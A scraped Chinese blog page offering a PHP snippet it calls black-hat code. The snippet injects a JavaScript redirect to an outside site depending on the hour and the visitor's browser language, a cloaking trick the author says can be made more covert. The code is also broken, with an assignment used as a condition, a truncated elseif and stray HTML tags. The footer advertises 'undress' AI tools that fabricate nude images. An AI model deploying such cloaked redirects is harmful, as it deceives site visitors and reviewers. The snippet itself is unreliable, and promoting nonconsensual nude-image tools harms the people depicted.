PHP判断时区判断浏览器语言的黑帽代码。
剑在手了,就看使剑的人的剑道如何了,这段代码可以进一步改进,做到更加隐秘。我只是弄了个基本的出来,具体还得看客观您怎么用了。
//将时区设置为中国
date_default_timezone_set("PRC");
//例输出:2010-03-06 Saturday 11:51:29 AM
//echo date("Y-m-d l H:i:s A");
$time_hour = date("H");
echo $time_hour;
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); //只取前4位,这样只判断最优先的语言。如果取前5位,可能出现en,zh的情况,影响判断。
if($time_hour=18){
echo "<script>";<br />
echo "window.location.href='http://www.BkJia.com'";<br />
echo "</script>";
}elseif($time_hour>=8 && $time_hour
//非中文浏览器
echo "<script>";<br />
echo "window.location.href='http://www.BkJia.com'";<br />
echo "</script>";
}
else{
}
?>
摘自 .xssxss.com

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Dreamweaver CS6
Visual web development tools

SAP NetWeaver Server Adapter for Eclipse
Integrate Eclipse with SAP NetWeaver application server.

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

Atom editor mac version download
The most popular open source editor

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.
